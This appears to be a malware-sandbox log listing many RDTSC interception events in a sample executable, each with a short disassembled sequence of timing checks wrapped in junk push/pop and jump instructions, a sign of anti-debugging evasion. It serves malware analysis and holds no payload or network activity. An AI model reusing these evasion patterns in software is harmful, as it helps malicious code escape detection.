Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D513 second address: 55D527 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FB12C89D95Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D527 second address: 55D531 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB12C899C3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D7C6 second address: 55D7CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D7CA second address: 55D7DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB12C899C36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007FB12C899C36h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D7DF second address: 55D80A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jno 00007FB12C89D956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB12C89D967h 0x00000013 ja 00007FB12C89D956h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55DAE5 second address: 55DAE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55DD90 second address: 55DD94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E02F second address: 55E03C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E03C second address: 55E040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E2EF second address: 55E302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FB12C899C36h 0x0000000d jg 00007FB12C899C36h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E625 second address: 55E63B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB12C89D960h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E63B second address: 55E63F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E63F second address: 55E649 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E649 second address: 55E64F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E64F second address: 55E65C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E65C second address: 55E662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E662 second address: 55E68B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB12C89D968h 0x00000009 jmp 00007FB12C89D95Ch 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E68B second address: 55E6A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB12C899C40h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E95C second address: 55E960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5637E7 second address: 5637EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562AD0 second address: 562AD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562AD6 second address: 562B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007FB12C899C48h 0x0000000d jmp 00007FB12C899C3Dh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562B06 second address: 562B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562C88 second address: 562CA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB12C899C41h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jbe 00007FB12C899C36h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56313D second address: 563141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563141 second address: 563145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563145 second address: 56314B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5633AC second address: 5633B6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB12C899C3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5633B6 second address: 5633E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB12C89D958h 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop ecx 0x00000014 ja 00007FB12C89D968h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569847 second address: 56984B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56984B second address: 56985F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FB12C89D956h 0x0000000e jno 00007FB12C89D956h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56985F second address: 569863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 570C44 second address: 570C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB12C89D95Ch 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571038 second address: 571042 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB12C899C36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571331 second address: 571335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571335 second address: 57134B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57134B second address: 571369 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB12C89D961h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571369 second address: 57137A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 push edx 0x00000009 jp 00007FB12C899C36h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571905 second address: 571927 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D968h 0x00000007 jnp 00007FB12C89D956h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5721BC second address: 5721C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5721C2 second address: 5721C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5721C6 second address: 5721D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5721D2 second address: 5721EF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB12C89D958h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB12C89D95Fh 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5728D1 second address: 5728D6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A4ED second address: 57A510 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB12C89D956h 0x00000008 jmp 00007FB12C89D961h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007FB12C89D956h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A510 second address: 57A514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A514 second address: 57A51A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A51A second address: 57A522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588191 second address: 5881BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB12C89D968h 0x0000000d jmp 00007FB12C89D95Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5881BC second address: 5881EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB12C899C48h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FB12C899C3Ch 0x00000011 js 00007FB12C899C36h 0x00000017 push ebx 0x00000018 push edx 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B16C second address: 58B170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B170 second address: 58B176 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B176 second address: 58B1BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FB12C89D969h 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FB12C89D95Dh 0x00000015 push esi 0x00000016 pop esi 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a jmp 00007FB12C89D960h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AE67 second address: 58AE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AE6B second address: 58AE77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnc 00007FB12C89D956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AE77 second address: 58AE7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58D388 second address: 58D38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58D38C second address: 58D3CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C3Fh 0x00000007 jmp 00007FB12C899C42h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e js 00007FB12C899C3Ah 0x00000014 push edi 0x00000015 pop edi 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 jo 00007FB12C899C36h 0x0000001f pushad 0x00000020 popad 0x00000021 jp 00007FB12C899C36h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58FE92 second address: 58FE9C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB12C89D956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59477F second address: 594796 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FB12C899C36h 0x00000009 jng 00007FB12C899C36h 0x0000000f js 00007FB12C899C36h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A8B1 second address: 59A8C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007FB12C89D956h 0x0000000c popad 0x0000000d pushad 0x0000000e jg 00007FB12C89D956h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59EA48 second address: 59EA4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6AFF second address: 5A6B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6B07 second address: 5A6B1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5983 second address: 5A5989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5989 second address: 5A598D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5DA5 second address: 5A5DA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5DA9 second address: 5A5DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5DB3 second address: 5A5DBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB12C89D956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5DBD second address: 5A5DD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C3Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6774 second address: 5A6778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6778 second address: 5A67D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C43h 0x00000007 jmp 00007FB12C899C43h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB12C899C44h 0x00000016 jp 00007FB12C899C48h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A67D1 second address: 5A67D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A67D6 second address: 5A67DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A67DC second address: 5A67E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ABCB6 second address: 5ABCBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ABCBB second address: 5ABCC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ABCC0 second address: 5ABCD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB12C899C36h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB844 second address: 5AB866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D968h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB9E7 second address: 5BB9F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jg 00007FB12C899C36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB9F9 second address: 5BBA1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FB12C89D963h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBA1B second address: 5BBA1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBA1F second address: 5BBA2F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB12C89D956h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBA2F second address: 5BBA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE181 second address: 5BE187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDFFD second address: 5BE03B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB12C899C36h 0x0000000a pop edi 0x0000000b pop esi 0x0000000c pushad 0x0000000d jne 00007FB12C899C42h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB12C899C47h 0x0000001a jnc 00007FB12C899C36h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE03B second address: 5BE03F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE03F second address: 5BE04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE04D second address: 5BE051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CAADC second address: 5CAAE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FB12C899C36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CAAE6 second address: 5CAAEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CAAEA second address: 5CAB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB12C899C49h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007FB12C899C3Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA93E second address: 5CA96A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D965h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jbe 00007FB12C89D956h 0x00000010 jc 00007FB12C89D956h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CED3B second address: 5CED3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CED3F second address: 5CED45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CED45 second address: 5CED4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E84F7 second address: 5E84FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E84FC second address: 5E8508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FB12C899C36h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8508 second address: 5E853B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB12C89D956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB12C89D966h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FB12C89D95Ah 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E853B second address: 5E854E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FB12C899C3Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E854E second address: 5E856F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FB12C89D95Bh 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB12C89D960h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E89C2 second address: 5E89C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
